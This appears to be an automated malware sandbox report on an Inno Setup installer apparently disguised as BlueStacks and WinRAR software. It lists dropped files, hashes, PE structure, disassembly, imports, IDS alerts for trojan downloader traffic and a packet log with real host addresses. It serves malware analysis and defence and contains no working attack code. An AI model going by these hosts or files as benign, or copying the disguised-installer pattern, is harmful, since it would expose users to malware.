C:\Users\user\AppData\Local\Temp\nsu8144.tmp\s

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\nsu8144.tmp\status.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\nsv5F72.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe
File Type:	data
Category:	dropped
Size (bytes):	3634147
Entropy (8bit):	7.93921188109384
Encrypted:	false
SSDEEP:	98304:xzBOBfKMpHGqcfsLyQecNEqCNCjRqGy5XYBHOhN2qlx:xz/MpmJ0LdDLCAyiHOv
MD5:	B2391A6FA5258FC8C56208954A1E3F91
SHA1:	0C031BA804C9259D1D2B768115418DC1737F3EEA
SHA-256:	2B10BB2C5E3B5EBADE6A98B69C40A9A7BE36FBA82E7643AD4AA27CB1CA5AC33A
SHA-512:	6C2B6361705C83AE9EDB14F3EC3A6FBA52DC679CB3B8D321AC4F284803753984D5E06861C138CFF9A9539D6F9C751167A2BD2D08FC68D9B69935EC4D6916B64B
Malicious:	false
Preview:	.^......,........................8.......].......^..........................................................................1................................................................................................................................................................................$..f.......................J.......................L...............j.......................J...................................................................................................................4...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\is-J242U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.312180758259782
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TYx:CtLutqgwh4NYxtJpkxhGj333Tk
MD5:	DCA13D304A50EECF0BDF425AA5B4F5A3
SHA1:	90CDD011D7C781DA21859A4A45A313B3ECC52548
SHA-256:	5CF7A57D7221AE41046D77DF20596DE1CBE90D56C2977753CDE3403407808FE3
SHA-512:	978ED0AEE43274F303B22F7EF6683F7B95D29617E6D1AE980D8D4C1F644FC64A5533F241F34FDB54464108DBCAFB82E6F428F2904E41A9B0750D4FE77C3970A4
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Windows\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp
File Type:	InnoSetup Log BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe, version 0x418, 6285 bytes, 675052\37\user\, \350\001
Category:	dropped
Size (bytes):	6285
Entropy (8bit):	4.255711926840655
Encrypted:	false
SSDEEP:	96:cl1gansOWUFIZQnZd3EQZQn5Ehk3w1nQBCVbcuJlEDA4MZAe2LMHhIbjrCbW:a1gaWHZOtZRDbP4DSmMH+Huq
MD5:	A7271031795847F54D641C7BF1960C02
SHA1:	F934B0BD228752104E51F33FFD6C9C9418E95FF0
SHA-256:	BB5852064FD189F7449ABDDF035366DBF3DE70D2B8CE201E9E77DD14D352FC46
SHA-512:	DB4BD86A994E4EF138EA10D226EF9EF281429592CFFD682F2A89CFE034A4CF6C076A4B840005A794A73F07471FDF9134C7662C49AC0FBDA00876779AFCFC20A9
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe....................................................BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe................................................................................................................................................................................`yS...........6.......A........6.7.5.0.5.2......e.n.g.i.n.e.e.r.........................#.. .....N........IFPS....'........................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPROGRESSFORM.........TDOWNLOADWIZARDPAGE....TDOWNLOADWIZARDPAGE.........TNEWRADIOBUTTON....TNEWRADIOBUTTON..................TONDOWNLOADP

C:\Windows\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.312180758259782
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TYx:CtLutqgwh4NYxtJpkxhGj333Tk
MD5:	DCA13D304A50EECF0BDF425AA5B4F5A3
SHA1:	90CDD011D7C781DA21859A4A45A313B3ECC52548
SHA-256:	5CF7A57D7221AE41046D77DF20596DE1CBE90D56C2977753CDE3403407808FE3
SHA-512:	978ED0AEE43274F303B22F7EF6683F7B95D29617E6D1AE980D8D4C1F644FC64A5533F241F34FDB54464108DBCAFB82E6F428F2904E41A9B0750D4FE77C3970A4
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\winrar-x64-623.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3586840
Entropy (8bit):	7.95378887141996
Encrypted:	false
SSDEEP:	98304:kzBOBfKMpHGqcfsLyQecNEqCNCjRqGy5XYBHOhN2qlxR:kz/MpmJ0LdDLCAyiHOvl
MD5:	7A647AF3C112AD805296A22B2A276E7C
SHA1:	9CDF137E3F2493C9E141D5EC05F890E32B9B4E87
SHA-256:	20739E8FC050187AF013E2499718895E4C980699CCAF046B2F96B12497E61959
SHA-512:	71D86D8DC598AAFA91DA8E0D971D1BBB87135832B848547C5C611BC828D165625C7A19AF2CD300373190CF3EB782C714AC73D84ADA53B37B6D8C1EE8508BCD86
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........{.....V...V...V4hzW\|..Vga.V...Vga{W...Vga\|W...VgazW...V4h\|W...V4h{W...V4hyW...V4h~W...V..~V...ViazW...Via.W...Via.V...Via}W...VRich...V........................PE..d......d.........."....!............pU.........@.............................0.......%7...`.............................................4.......P........`...`..H-...r6.XH... ......P...T...............................@............................................text............................... ..`.rdata..............................@..@.data...tU..........................@....pdata..H-...`......................@..@.didat..0...........................@..._RDATA..\............"..............@..@.rsrc....p.......b...$..............@..@.reloc....... ......................@..B................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.41472824938837
TrID:	Win32 Executable (generic) a (10002005/4) 98.04% Inno Setup installer (109748/4) 1.08% InstallShield setup (43055/19) 0.42% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe
File size:	1'672'138 bytes
MD5:	f80fd5edf505c1f763dee9f092f58e8f
SHA1:	0b609d4a999959868c5fd1c6e4aba53bf9746f2a
SHA256:	1787a87f208cd0898943bd70e7e76a2c8b1b39679b20a6ac57d13ff98fd72aa4
SHA512:	4cce4a39c7b33b854266ab0587ea32b459446d490d62a40b3f26d7b5a814956097666f03f75f449076d9c42cff8847fca590c4115162a59b8cbb49d2975a0509
SSDEEP:	24576:s7FUDowAyrTVE3U5F/H6Kic6QL3E2vVsjECUAQT45deRV9R4:sBuZrEUeKIy029s4C1eH9K
TLSH:	6775BF3FF268A13EC5AA1B3245738320997BBA51B81A8C1E47FC344DCF765601E3B656
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0c0c2d33ceec80aa

Static PE Info

General

Entrypoint:	0x4b5eec
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63ECF218 [Wed Feb 15 14:54:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	e569e6f445d32ba23766ad67d1e3787f

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004B14B8h
call 00007F0EACC89025h
xor eax, eax
push ebp
push 004B65E2h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004B659Eh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004BE634h]
call 00007F0EACD2BB17h
call 00007F0EACD2B66Ah
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F0EACC9EAC4h
mov edx, dword ptr [ebp-14h]
mov eax, 004C1D84h
call 00007F0EACC83C17h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004C1D84h]
mov dl, 01h
mov eax, dword ptr [004238ECh]
call 00007F0EACC9FC47h
mov dword ptr [004C1D88h], eax
xor edx, edx
push ebp
push 004B654Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F0EACD2BB9Fh
mov dword ptr [004C1D90h], eax
mov eax, dword ptr [004C1D90h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F0EACD31DBAh
mov eax, dword ptr [004C1D90h]
mov edx, 00000028h
call 00007F0EACCA053Ch
mov edx, dword ptr [004C1D90h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc4000	0x9a	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc2000	0xfdc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x11000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc6000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc22f4	0x254	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xc3000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb39e4	0xb3a00	False	0.34525867693110646	data	6.357635049994181	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xb5000	0x1688	0x1800	False	0.54443359375	data	5.971425428435973	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb7000	0x37a4	0x3800	False	0.36097935267857145	data	5.048648594372454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xbb000	0x6de8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xc2000	0xfdc	0x1000	False	0.3798828125	data	5.029087481102678	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xc3000	0x1a4	0x200	False	0.345703125	data	2.7509822285969876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xc4000	0x9a	0x200	False	0.2578125	data	1.877162954504408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xc5000	0x18	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xc6000	0x5d	0x200	False	0.189453125	data	1.3838943752217987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc7000	0x11000	0x11000	False	0.1863080193014706	data	3.6969013977834635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7678	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2048	English	United States	0.1174924924924925
RT_ICON	0xc80e0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.15792682926829268
RT_ICON	0xc8748	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.23387096774193547
RT_ICON	0xc8a30	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.39864864864864863
RT_ICON	0xc8b58	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colors	English	United States	0.08339210155148095
RT_ICON	0xca180	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.1023454157782516
RT_ICON	0xcb028	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.10649819494584838
RT_ICON	0xcb8d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.10838150289017341
RT_ICON	0xcbe38	0x12e5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8712011577424024
RT_ICON	0xcd120	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.05668398677373642
RT_ICON	0xd1348	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08475103734439834
RT_ICON	0xd38f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.09920262664165103
RT_ICON	0xd4998	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2047872340425532
RT_STRING	0xd4e00	0x360	data			0.34375
RT_STRING	0xd5160	0x260	data			0.3256578947368421
RT_STRING	0xd53c0	0x45c	data			0.4068100358422939
RT_STRING	0xd581c	0x40c	data			0.3754826254826255
RT_STRING	0xd5c28	0x2d4	data			0.39226519337016574
RT_STRING	0xd5efc	0xb8	data			0.6467391304347826
RT_STRING	0xd5fb4	0x9c	data			0.6410256410256411
RT_STRING	0xd6050	0x374	data			0.4230769230769231
RT_STRING	0xd63c4	0x398	data			0.3358695652173913
RT_STRING	0xd675c	0x368	data			0.3795871559633027
RT_STRING	0xd6ac4	0x2a4	data			0.4275147928994083
RT_RCDATA	0xd6d68	0x10	data			1.5
RT_RCDATA	0xd6d78	0x2c4	data			0.6384180790960452
RT_RCDATA	0xd703c	0x2c	data			1.1363636363636365
RT_GROUP_ICON	0xd7068	0xbc	data	English	United States	0.6170212765957447
RT_VERSION	0xd7124	0x584	data	English	United States	0.2797450424929179
RT_MANIFEST	0xd76a8	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4541a8
__dbk_fcall_wrapper	2	0x40d0a0
dbkFCallWrapperAddr	1	0x4be63c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.6104.21.38.5949721802839343 01/21/24-17:27:26.674153	TCP	2839343	ETPRO MALWARE InnoDownloadPlugin User-Agent Observed	49721	80	192.168.2.6	104.21.38.59
192.168.2.6104.21.61.5149712802047660 01/21/24-17:27:08.009174	TCP	2047660	ET MALWARE Win32/TrojanDownloader Variant Activity (GET)	49712	80	192.168.2.6	104.21.61.51

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 21, 2024 17:27:07.885396957 CET	49712	80	192.168.2.6	104.21.61.51
Jan 21, 2024 17:27:08.003683090 CET	80	49712	104.21.61.51	192.168.2.6
Jan 21, 2024 17:27:08.003873110 CET	49712	80	192.168.2.6	104.21.61.51
Jan 21, 2024 17:27:08.009174109 CET	49712	80	192.168.2.6	104.21.61.51
Jan 21, 2024 17:27:08.127218962 CET	80	49712	104.21.61.51	192.168.2.6
Jan 21, 2024 17:27:08.631314039 CET	80	49712	104.21.61.51	192.168.2.6
Jan 21, 2024 17:27:08.677582979 CET	49712	80	192.168.2.6	104.21.61.51
Jan 21, 2024 17:27:08.844194889 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:08.962346077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:08.962498903 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:08.962878942 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:09.080948114 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.263537884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.263556004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.263569117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.263581991 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.263595104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.263663054 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.268445015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.268460035 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.268476009 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.268507004 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.268522978 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.268526077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.268543959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.268587112 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.268858910 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.268898010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.268912077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.268932104 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.281127930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.281141996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.281152964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.281167030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.281179905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.281199932 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.281232119 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.281493902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.281507969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.281543016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.281555891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.281558037 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.281568050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.281594992 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.282310963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.282330036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.282341003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.282361031 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.282392979 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.282808065 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.282820940 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.282833099 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.282845020 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.282875061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.282902002 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.293740034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.293791056 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.293804884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.293817997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.293833017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.293843985 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.293865919 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.294169903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.294183969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.294195890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.294208050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.294209003 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.294225931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.294231892 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.294267893 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.294972897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.295054913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.295068979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.295089006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.295101881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.295113087 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.295140028 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.295871973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.295886040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.295898914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.295913935 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.295923948 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.295928001 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.295964003 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.296634912 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.296648979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.296704054 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.306451082 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.306464911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.306477070 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.306489944 CET	80	49713	172.67.210.35	192.168.2.6
